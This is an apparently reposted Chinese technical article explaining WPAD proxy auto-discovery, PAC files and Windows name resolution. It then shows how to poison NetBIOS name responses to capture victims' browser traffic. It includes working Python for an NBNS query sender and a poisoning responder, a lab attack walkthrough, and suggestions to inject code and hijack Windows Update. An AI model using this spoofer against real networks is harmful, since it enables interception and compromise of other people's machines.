利用 NetBIOS 协议名称解析及 WPAD 进行内网渗透
yuyutoo 2024-10-11 23:57 6 浏览 0 评论
0x00 前言
WPAD 这项技术已经诞生了近十年的时间,其最大的优势就在于,在一个或多个局域网中,当需要为内网中的用户设置不同的代理服务器去连接互联网或者企业内网时,利用 WPAD 就能够灵活方便的进行配置。由于配置代理服务器的方式对于用户来说是透明的,无需用户手动操作的,因此,攻击者就可以利用这个特点使用 WPAD 进行内网的渗透。
利用 WPAD 进行内网渗透的技术已经出现了很多年了,一直没有变得像 ARP Spoof 等攻击方式那么流行,可能是由于常规的内网渗透中,如 Windows 域的渗透,攻击者只需拿到域控的权限即可控制域中的任何机器,因此,攻击者往往只关注如何抓到域管理员的 HASH。然而即使在工作组的渗透中,也有着比 WPAD 更有效的攻击方式。但是在攻击者“无(qian)计(lv)可(ji)施(qiong);)”的时候,也会采用一些“非主流”的方式进行内网渗透。
本文将会阐述 WPAD 协议的工作原理,实现方式以及在内网渗透中的应用思路,仅仅起一个抛砖的作用,希望大牛们多多“引玉”。
PS:本文是笔者利用工作之余的零碎时间所写,难免会有纰漏,还望各位看(da)官(niu)在评论区及时指正 or PM 我。
0x01 WPAD 简介
WPAD(Web Proxy Auto-Discovery Protocol) 是 Web 代理自动发现协议的简称,该协议的功能是可以使局域网中用户的浏览器可以自动发现内网中的代理服务器,并使用已发现的代理服务器连接互联网或者企业内网。WPAD 支持所有主流的浏览器,从 IE 5.0 开始就已经支持了代理服务器自动发现/切换的功能,不过苹果公司考虑到 WPAD 的安全风险,在包括 OSX 10.10 及之后版本的操作系统中的 Safari 浏览器将不再支持 PAC 文件的解析。
WPAD 工作原理
当系统开启了代理自动发现功能后,用户使用浏览器上网时,浏览器就会在当前局域网中自动查找代理服务器,如果找到了代理服务器,则会从代理服务器中下载一个名为 PAC(Proxy Auto-Config) 的配置文件。该文件中定义了用户在访问一个 URL 时所应该使用的代理服务器。浏览器会下载并解析该文件,并将相应的代理服务器设置到用户的浏览器中。
PAC 文件
PAC(Proxy Auto-Config) 配置文件使用了 Javascript 对 URL 和代理服务器进行描述。通常使用 proxy.pac 作为文件名, WPAD 的规范则使用 wpad.dat 作为 PAC 文件的文件名。
一个 PAC 文件至少定义了一个名为 FindProxyForURL(url, host) 的 JavaScript 函数,该函数的返回值是一个字符串,指定了 URL 的访问方式,两个参数分别代表了要指定设置的 URL 和 该 URL 所对应的主机名。
PAC 文件内容示例如下:
function FindProxyForURL(url, host) { if (url== 'http://Her0in.org/') return 'DIRECT'; if (shExpMatch(host, "*.wooyun.org")) return "DIRECT"; if (host== 'wooyun.com') return 'SOCKS 127.1.1.1:8080'; if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.2.2.2:8080;DIRECT'; return 'DIRECT'; }
该文件定义了当用户访问 http://Her0in.org/ 时,将不使用任何代理服务器直接(DIRECT)访问 URL。也可以使用 shExpMatch 函数对 host 或者 url 进行匹配设置,SOCKS 127.1.1.1:8080 指定了使用 127.1.1.1:8080 的 SOCKS 代理进行 URL 的访问,PROXY 127.2.2.2:8080;DIRECT 指定了使用 127.2.2.2:8080 的 HTTP 代理进行 URL 的访问,如果连接 127.2.2.2:8080 的 HTTP 代理服务器失败,则直接(DIRECT)访问 URL。
本地搭建提供 WPAD 使用的 HTTP 代理服务器时,需要监听 80 端口,因为客户端浏览器默认会从 80 端口下载 PAC 文件,同时要将 PAC 文件的 MIME 类型设置为 application/x-ns-proxy-autoconfig 或 application/x-javascript-config,不过这不是必须要设置的。
PAC 文件的编码问题
FF 和 IE 只支持系统默认的编码类型 的 PAC 文件,并且不支持 Unicode 编码,如 UTF-8。 关于 PAC 文件的更多说明,可以在 这里 和 这里找到。
0x02 Windows 中的 WPAD
在 Windows 系统中,从 IE 5.0 开始就支持了 WPAD,并且 Windows 系统默认是开启了 WPAD 功能的。
可以在 IE浏览器的 Internet 选项 — 连接 选项卡 — 局域网设置 — 自动检测设置 中看到,系统默认是勾选此功能的。
如下图所示:
图 1:Windows 中 IE 浏览器的 WPAD 设置另外, Windows 系统从 IE 5.5 开始支持“自动代理结果缓存”功能,并默认开启了此功能,此功能的机制为每当客户端的浏览器连接成功 HTTP 代理服务器,都会更新 ARP 缓存,所以在客户端浏览器再次连接代理服务器也就是在再次调用 FindProxyForURL() 函数时,会先检查 ARP 缓存列表中,是否存在要连接的 HTTP 代理服务器地址。所以此功能的目的就是缩减系统获取分配对象的开销。
可以使用如下操作关闭此功能:
方法 1:修改注册表
可以使用下面的注册表项禁用“自动代理结果缓存”:
HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsCurrentVersionInternet Settings
将 EnableAutoproxyResultCache(如果不存在请手动创建,类型为 REG_DWORD) 设置为 0 或者 1 。
0 = 禁用缓存;1 = 启用自动代理缓存(这是默认设置)
方法 2:修改组策略设置
在组策略对象编辑器中的“用户配置” — “管理模板” — “Windows 组件” — “Internet Explorer”中,启用 “禁用缓存自动代理脚本”即可。
WinHTTP 的 WPAD 支持
在 Windows 系统中,有一个服务名为 WinHTTP Web Proxy Auto-Discovery Service,其描述信息为 “WinHTTP 实现了客户端 HTTP 堆栈并向开发人员提供 Win32 API 和 COM 自动化组件以供发送 HTTP 请求和接收响应。此外,通过执行 Web 代理自动发现(WPAD)协议,WinHTTP 还提供对自动发现代理服务器配置的支持。”
PS:为了安全起见,建议禁用,因为大多数的情况下不会用到。
0x03 WPAD 实现方式
WPAD 实现的方式有两种,DHCP 和 DNS,具体内容如下。
使用 DHCP 服务器配置 WPAD
DHCP 是 Dynamic Host Configuration Protocol 的缩写即 动态主机配置协议,它是一个用于局域网的网络协议,处于 OSI 的应用层,所使用的传输协议为 UDP。DHCP 的主要功能是动态分配,当然不仅仅是 IP 地址,也包括一些其他信息,如子网掩码等,也包括本文所讲的 WPAD,这些额外的信息都是在 DHCP 协议中的 “DHCP options” 字段中设置的。
DHCP 的工作流程有 4 个步骤:
图 2:DHCP 工作流程上图即为客户端与 DHCP 服务器进行交互的过程,其中,前两个流程主要是通过客户端发送广播包,之后 DHCP 服务器进行相应与客户端进行单播通讯。后面的两个流程即为客户端从 DHCP 服务器获取 IP 地址的过程。当客户端已经成功获取到了 IP 地址后同时该地址在客户端重新登录到网络前并未被其他主机占用,那么将不会再执行前两个流程。关于 DHCP 协议的具体内容不是本文的重点内容,不再详述。
当使用 DHCP 服务器配置 WPAD 时, DHCP 协议将会有所改变,具体的改变可以在 RFC 2131 中看到,增加了 DHCPINFORM 消息,此消息用于客户端请求本地配置参数,所以客户端在请求 WPAD 主机时就会发送 DHCPINFORM 请求消息,之后 DHCP 服务器会应答 DHCPACK 确认消息,此消息中的 DHCP Options 字段里就包含 DHCP 的 252 选项即 WPAD 代理服务器的 PAC 文件地址。
DHCP 服务器响应的 DHCPACK 数据包对应的 DHCP 结构:
图 3: DHCPACK 消息结构关于 DHCP Options 的其他定义可以查看 DHCP 的 RFC 1531 文档
在目前的大多数内网中已经不再使用 DHCP 服务器来进行对客户端的 WPAD 的配置了,而是采用了较为简单的方式如 DNS 服务器。
利用 DNS 配置 WPAD
利用 DNS 配置 WPAD 的方式本质上还是利用了 Windows 系统的名称解析机制。
利用 DNS 配置 WPAD 的原理如下:
客户端主机向 DNS 服务器发起了 WPAD+X 的查询请求。如果客户端主机是处于域环境下时,发起的 WPAD+X 的查询请求为 “WPAD.当前域的域名”。DNS 服务器对 WPAD 主机的名称进行解析返回 WPAD 主机的 IP 地址,客户端主机通过 WPAD 主机的 IP 的 80 端口下载并解析 PAC 文件。
利用 DNS 进行 WPAD 的配置,网络管理员只需要在 DNS 服务器中添加 WPAD 主机的解析记录即可。
PS:在工作组环境中,客户端主机执行 WPAD 功能时,就会遵循 Windows 系统的名称解析顺序,查询的名称均为 “WPAD”,如果 OS 版本为 Vista 之后的(包括 Vista)顺序为:DNS => LLMNR => NBNS,反之则为 DNS => NBNS。
0x04 利用 WPAD 进行内网渗透
前面的内容已经说明了 WPAD 的工作原理,实现方式和 WPAD 在 Windows 系统中的相关内容。接下来就是本文要重点阐述的内容,如何利用 WPAD 进行内网渗透。
上面已经说明,在实际渗透中,大多数情况下遇到的内网都不再使用 DHCP 进行 WPAD 的配置,而利用 DNS 配置 WPAD 或者是内网本身没有对 WPAD 的配置进行设置的情况下,都会默认遵循 Windows 系统的名称解析顺序,因此,可以利用 Windows 系统的名称解析顺序的缺陷进行 WPAD 的“恶意”配置,从而进行内网的渗透。
关于 Windows 系统的名称解析顺序 及利用 Windows 系统的名称解析缺陷渗透的思路可以从我的下面两篇文章中找到。
Windows 名称解析机制探究及缺陷利用(下文简称 文1)
利用 LLMNR 名称解析缺陷劫持内网指定主机会话(下文简称 文2)
利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击
在 文2 中已经阐述了 如何利用 LLMNR 名称解析进行内网渗透的思路,并给出了相应的利用代码。所以本文将不再赘述“如何利用 LLLMNR 名称解析缺陷进行基于 WPAD 的中间人攻击”。
NetBIOS 协议名称解析过程
一张图看明白 NetBIOS 名称解析过程,以受害者访问局域网中的 WEBSERVER 为例(受害者主机的 NetBIOS缓存中无 WEBSERVER):
图 4:NetBIOS 名称解析过程NetBIOS 协议分析
使用 Wireshark 可以快速抓取到 NetBIOS 协议名称查询的数据包,如下图:
图 5:NetBIOS 名称查询数据包格式NetBIOS 的协议结构与 LLMNR 的基本一致。但是与 LLMNR 还是有所不同,其中最明显的一点为 NetBIOS 协议中的主机名称是加密的,通过查阅相关资料,如 dpkt,Wireshark等,可以找到其加密和解密的源码:
PS:以下代码引用自 dpkt 库。
def encode_name(name): """Return the NetBIOS first-level encoded name.""" l = [] for c in struct.pack('16s', name): c = ord(c) l.append(chr((c >> 4) + 0x41)) l.append(chr((c & 0xf) + 0x41)) return ''.join(l) def decode_name(nbname): """Return the NetBIOS first-level decoded nbname.""" if len(nbname) != 32: return nbname l = [] for i in range(0, 32, 2): l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) return ''.join(l).split('x00', 1)[0]
从代码中不难分析出加解密的过程,至于为何 pack 的时候使用 16 请参阅 文1 中对 NetBIOS 名称的阐述。
NetBIOS 协议的内容比较多,其中有不少与我们在内网渗透中所使用的一些命令有直接的关系,更多内容可以查阅 NetBIOS 协议的 RFC 文档
Python 实现 NetBIOS 协议的质询与应答
尽管目前已有相当优秀的网络协议开源库实现了 NetBIOS 的质询与应答,不过为了更好的理解 NetBIOS 协议,我们还是动手自己来构造协议数据包。根据 Wireshark 抓取的数据包(图 5)可以很快的构造并实现 NetBIOS 协议的名称查询数据包。代码如下:
#/usr/bin/env python # -*- coding:utf-8 -*- __doc__ = """ NBNS Query , by Her0in """ import socket, struct class NBNS_Query: def __init__(self,name): self.name = name self.populate() def populate(self): self.HOST = '192.168.16.255' self.PORT = 137 self.nqs = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.QueryData = ( "xa9xfb" # Transaction ID "x01x10" # Flags Query "x00x01" # Question:1 "x00x00" # Answer RRS "x00x00" # Authority RRS "x00x00" # Additional RRS "x20" # length of Name:32 "NAME" # Name "x00" # NameNull "x00x20" # Query Type:NB "x00x01") # Class self.data = self.QueryData.replace('NAME', struct.pack("32s", self.encode_name(self.name))) # From http://code.google.com/p/dpkt/ def encode_name(self,name): """Return the NetBIOS first-level encoded name.""" l = [] for c in struct.pack('16s', name): c = ord(c) l.append(chr((c >> 4) + 0x41)) l.append(chr((c & 0xf) + 0x41)) return ''.join(l) def Query(self): while 1: print "NBNS Querying... -> %s" % self.name self.nqs.sendto(self.data, (self.HOST, self.PORT)) self.nqs.close() if __name__ == "__main__": nbns = NBNS_Query("WPAD") nbns.Query()
通过 Wireshark 抓取 NetBIOS 名称查询的应答数据包,同样可以快速实现名称查询的应答功能。代码如下:
#/usr/bin/env python # -*- coding:utf-8 -*- __doc__ = """ NBNS Answer , by Her0in """ import socket, struct,binascii class NBNS_Answer: def __init__(self, addr): self.IPADDR = addr self.nas = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.init_socket() self.populate() def populate(self): self.AnswerData = ( "TID" # Transaction ID "x85x00" # Flags Query "x00x00" # Question "x00x01" # Answer RRS "x00x00" # Authority RRS "x00x00" # Additional RRS "x20" # length of Name:32 "NAME" # Name "x00" # NameNull "x00x20" # Query Type:NB "x00x01" # Class "x00x00x00xa5" # TTL "x00x06" # "x00x00" # Null "IPADDR") # IP Address def init_socket(self): self.HOST = "0.0.0.0" self.PORT = 137 self.nas.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.nas.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) def decode_name(self, nbname): """Return the NetBIOS first-level decoded nbname.""" if len(nbname) != 32: return nbname l = [] for i in range(0, 32, 2): l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) return ''.join(l).split('x00', 1)[0] def Answser(self): self.nas.bind((self.HOST, self.PORT)) print "Listening..." while 1: data, addr = self.nas.recvfrom(1024) tid = data[0:2] name = data[13:45] data = self.AnswerData.replace('TID', tid) data = data.replace('NAME', name) data = data.replace('IPADDR', socket.inet_aton(self.IPADDR)) print "Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr[0], self.decode_name(name)) self.nas.sendto(data, addr) self.nas.close() if __name__ == "__main__": nbns = NBNS_Answer("11.22.33.44") nbns.Answser()
利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击思路解析
通过上面一系列针对 WPAD 原理和 NetBIOS 协议的阐述,理解利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击的思路就不难了,不过利用思路将不会再像 文2 那样详述。因为我认为,只要理解了攻击思路,如何利用就是一个“方法论”的问题了,具体情况具体分析,各位大牛完全可以自由发挥。
利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击本质上还是利用了 Windows 系统的名称解析顺序和 NetBIOS 协议的特点。
在文章第三小节已经说过,在工作组环境中,客户端主机执行 WPAD 功能时,就会遵循 Windows 系统的名称解析顺序,查询的名称均为 “WPAD”。那么,如此看来,先广播进行 “WPAD” 名称的注册,然后监听 137 端口,等待局域网其他已启用 WPAD 功能的主机启动 IE 浏览器连接网络即可将受害者主机的浏览器代理设置为攻击者指定的代理服务器,这样就可以获得受害者的浏览器的上网记录。
利用上一节中的 Demo 程序以及 Python 的 SimpleHTTPServer 功能还有一台 HTTP 或者 SOCKS 代理服务器即可快速模拟出一个简单的攻击场景。如下图:
图 6: 利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击如上图所示,攻击者开启 NetBIOS 恶意应答程序,并监听 80 端口提供 PAC 配置文件(wpad.dat)的下载,同时开启代理服务器(这里使用的是 HTTP 代理服务器 => Burp Suite)。
受害者主机(Windows XP) 打开 IE 浏览器(已启用了 WPAD 功能)开始上网,此时浏览器就会寻找当前局域网中的代理服务器,实际上是进行了 WPAD 的名称查询,可以从图中看到攻击者的恶意应答程序做了恶意应答,同时提供 PAC 配置文件下载的 HTTP 服务器打印出了日志信息,此时受害者的浏览器已经下载了 PAC 配置文件(该文件内容为代理服务器地址信息),之后,受害者的浏览器就会使用攻击者指定的代理服务器进行上网,这一点从 Burp Suite 中就可以看到。
OK,上述内容就是整个攻击的思路和流程,在实战中,完全可以将攻击过程程序化,自动化。
0x05 总结
利用 NetBIOS 协议进行中间人攻击的方式其实还有很多,攻击的思路也可以很灵活的根据实际需要进行布局。在利用 WPAD 进行攻击时,实际的效果很有可能没有想象的那么好,不过一旦奏效,就可以拿到受害者主机权限。尤其是在无计可施的情况下,还是值得一试的,很多内网中,管理员都不会对这些攻击方式做防御措施,除了部分桌面安全产品,如防火墙可能会做严格的过滤拦截,大部分情况下,此类攻击方式还是很有效的,尤其是可以在做名称解析响应时,筛选受害者主机,对 HTTP 数据包进行更改插入恶意代码,进行针对性的定点打击。另外,NetBIOS 协议比起 LLMNR 有一个更佳有利于攻击的特点,NetBIOS 协议的名称解析可以对受害者访问的域名进行响应,当然,前提是 DNS 服务器没有做出成功的响应时,才会使用 NetBIOS 协议进行查询。关于这一点以及 WPAD ,都可以结合 Windows Update 所使用的更新域名进行中间人攻击,下载并执行攻击者指定的补丁文件。
关于 NetBIOS 协议的内容可以在相关的 RFC 文档中查阅,其中还有不少东西可以在内网渗透中利用到,如 OPCODE 字段的取值,BROWSER 协议等等,更多的攻击思路还有待各位看官多多“引玉”。
原创文章,作者:Drops,转载自:http://www.mottoin.com/tech/119634.html
相关推荐
- Mysql和Oracle实现序列自增(oracle创建序列的sql)
-
Mysql和Oracle实现序列自增/*ORACLE设置自增序列oracle本身不支持如mysql的AUTO_INCREMENT自增方式,我们可以用序列加触发器的形式实现,假如有一个表T_WORKM...
- 关于Oracle数据库12c 新特性总结(oracle数据库19c与12c)
-
概述今天主要简单介绍一下Oracle12c的一些新特性,仅供参考。参考:http://docs.oracle.com/database/121/NEWFT/chapter12102.htm#NEWFT...
- MySQL CREATE TABLE 简单设计模板交流
-
推荐用MySQL8.0(2018/4/19发布,开发者说同比5.7快2倍)或同类型以上版本....
- mysql学习9:创建数据库(mysql5.5创建数据库)
-
前言:我也是在学习过程中,不对的地方请谅解showdatabases;#查看数据库表createdatabasename...
- MySQL面试题-CREATE TABLE AS 与CREATE TABLE LIKE的区别
-
执行"CREATETABLE新表ASSELECT*FROM原表;"后,新表与原表的字段一致,但主键、索引不会复制到新表,会把原表的表记录复制到新表。...
- Nike Dunk High Volt 和 Bright Spruce 预计将于 12 月推出
-
在街上看到的PandaDunk的超载可能让一些球鞋迷们望而却步,但Dunk的浪潮仍然强劲,看不到尽头。我们看到的很多版本都是为女性和儿童制作的,这种新配色为后者引入了一种令人耳目一新的新选择,而...
- 美国多功能舰载雷达及美国海军舰载多功能雷达系统技术介绍
-
多功能雷达AN/SPY-1的特性和技术能力,该雷达已经在美国海军服役了30多年,其修改-AN/SPY-1A、AN/SPY-1B(V)、AN/SPY-1D、AN/SPY-1D(V),以及雷神...
- 汽车音响怎么玩,安装技术知识(汽车音响怎么玩,安装技术知识视频)
-
全面分析汽车音响使用或安装技术常识一:主机是大多数人最熟习的音响器材,有关主机的各种性能及规格,也是耳熟能详的事,以下是一些在使用或安装时,比较需要注意的事项:LOUDNESS:几年前的主机,此按...
- 【推荐】ProAc Response系列扬声器逐个看
-
有考牌(公认好声音)扬声器之称ProAcTablette小音箱,相信不少音响发烧友都曾经,或者现在依然持有,正当大家逐渐掌握Tablette的摆位设定与器材配搭之后,下一步就会考虑升级至表现更全...
- #本站首晒# 漂洋过海来看你 — BLACK&DECKER 百得 BDH2000L无绳吸尘器 开箱
-
作者:初吻给了烟sco混迹张大妈时日不短了,手没少剁。家里有了汪星人,吸尘器使用频率相当高,偶尔零星打扫用卧式的实在麻烦(汪星人:你这分明是找借口,我掉毛是满屋子都有,铲屎君都是用卧式满屋子吸的,你...
- 专题|一个品牌一件产品(英国篇)之Quested(罗杰之声)
-
Quested(罗杰之声)代表产品:Q212FS品牌介绍Quested(罗杰之声)是录音监听领域的传奇品牌,由英国录音师RogerQuested于1985年创立。在成立Quested之前,Roger...
- 常用半导体中英对照表(建议收藏)(半导体英文术语)
-
作为一个源自国外的技术,半导体产业涉及许多英文术语。加之从业者很多都有海外经历或习惯于用英文表达相关技术和工艺节点,这就导致许多英文术语翻译成中文后,仍有不少人照应不上或不知如何翻译。为此,我们整理了...
- Fyne Audio F502SP 2.5音路低音反射式落地音箱评测
-
FyneAudio的F500系列,有新成员了!不过,新成员不是新的款式,却是根据原有款式提出特别版。特别版产品在原有型号后标注了SP字样,意思是SpecialProduction。Fyne一共推出...
- 有哪些免费的内存数据库(In-Memory Database)
-
以下是一些常见的免费的内存数据库:1.Redis:Redis是一个开源的内存数据库,它支持多种数据结构,如字符串、哈希表、列表、集合和有序集合。Redis提供了快速的读写操作,并且支持持久化数据到磁...
- RazorSQL Mac版(SQL数据库查询工具)
-
RazorSQLMac特别版是一款看似简单实则功能非常出色的SQL数据库查询、编辑、浏览和管理工具。RazorSQLformac特别版可以帮你管理多个数据库,支持主流的30多种数据库,包括Ca...
你 发表评论:
欢迎- 一周热门
-
-
前端面试:iframe 的优缺点? iframe有那些缺点
-
带斜线的表头制作好了,如何填充内容?这几种方法你更喜欢哪个?
-
漫学笔记之PHP.ini常用的配置信息
-
其实模版网站在开发工作中很重要,推荐几个参考站给大家
-
推荐7个模板代码和其他游戏源码下载的网址
-
[干货] JAVA - JVM - 2 内存两分 [干货]+java+-+jvm+-+2+内存两分吗
-
正在学习使用python搭建自动化测试框架?这个系统包你可能会用到
-
织梦(Dedecms)建站教程 织梦建站详细步骤
-
【开源分享】2024PHP在线客服系统源码(搭建教程+终身使用)
-
2024PHP在线客服系统源码+完全开源 带详细搭建教程
-
- 最近发表
-
- Mysql和Oracle实现序列自增(oracle创建序列的sql)
- 关于Oracle数据库12c 新特性总结(oracle数据库19c与12c)
- MySQL CREATE TABLE 简单设计模板交流
- mysql学习9:创建数据库(mysql5.5创建数据库)
- MySQL面试题-CREATE TABLE AS 与CREATE TABLE LIKE的区别
- Nike Dunk High Volt 和 Bright Spruce 预计将于 12 月推出
- 美国多功能舰载雷达及美国海军舰载多功能雷达系统技术介绍
- 汽车音响怎么玩,安装技术知识(汽车音响怎么玩,安装技术知识视频)
- 【推荐】ProAc Response系列扬声器逐个看
- #本站首晒# 漂洋过海来看你 — BLACK&DECKER 百得 BDH2000L无绳吸尘器 开箱
- 标签列表
-
- mybatis plus (70)
- scheduledtask (71)
- css滚动条 (60)
- java学生成绩管理系统 (59)
- 结构体数组 (69)
- databasemetadata (64)
- javastatic (68)
- jsp实用教程 (53)
- fontawesome (57)
- widget开发 (57)
- vb net教程 (62)
- hibernate 教程 (63)
- case语句 (57)
- svn连接 (74)
- directoryindex (69)
- session timeout (58)
- textbox换行 (67)
- extension_dir (64)
- linearlayout (58)
- vba高级教程 (75)
- iframe用法 (58)
- sqlparameter (59)
- trim函数 (59)
- flex布局 (63)
- contextloaderlistener (56)